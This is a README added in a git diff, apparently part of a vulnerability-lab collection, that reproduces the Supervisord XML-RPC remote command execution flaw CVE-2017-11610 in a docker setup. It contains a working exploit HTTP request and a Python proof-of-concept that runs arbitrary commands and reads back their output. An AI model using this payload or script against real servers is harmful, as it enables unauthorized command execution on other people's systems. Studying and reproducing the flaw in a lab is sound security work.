first commit

supervisor/CVE-2017-11610/README.md

@@ -0,0 +1,79 @@
+# Supervisord XML-RPC Remote Command Execution (CVE-2017-11610)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Supervisord is a process control system for Unix-like operating systems.
+
+In the supervisor version before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3, a remote code execution vulnerability exists in its XML-RPC interface, which allows attackers to execute arbitrary commands through specially crafted XML-RPC requests.
+
+References:
+
+- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
+- https://blogs.securiteam.com/index.php/archives/3348
+- https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
+
+## Environment Setup
+
+Execute the following commands to start Supervisord 3.3.2:
+
+```
+docker compose build
+docker compose up -d
+```
+
+After the server starts, you can access the Supervisord interface at `http://your-ip:9001`.
+
+## Vulnerability Reproduction
+
+Send the following request to the XML-RPC interface, and the command will be executed:
+
+```
+POST /RPC2 HTTP/1.1
+Host: localhost
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 213
+
+<?xml version="1.0"?>
+<methodCall>
+<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
+<params>
+<param>
+<string>touch /tmp/success</string>
+</param>
+</params>
+</methodCall>
+```
+
+![](01.png)
+
+### POC with Direct Output
+
+@Ricter proposed an effective approach on Weibo: write the command execution results to a log file, then use Supervisord's built-in readLog method to read the log file and retrieve the results.
+
+Here's a simple POC [poc.py](poc.py):
+
+```python
+#!/usr/bin/env python3
+import xmlrpc.client
+import sys
+
+
+target = sys.argv[1]
+command = sys.argv[2]
+with xmlrpc.client.ServerProxy(target) as proxy:
+    old = getattr(proxy, 'supervisor.readLog')(0,0)
+
+    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
+    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
+    result = getattr(proxy, 'supervisor.readLog')(0,0)
+
+    print(result[len(old):])
+```
+
+Execute with Python3 to get the results: `./poc.py "http://your-ip:9001/RPC2" "command"`：
+
+![](02.png)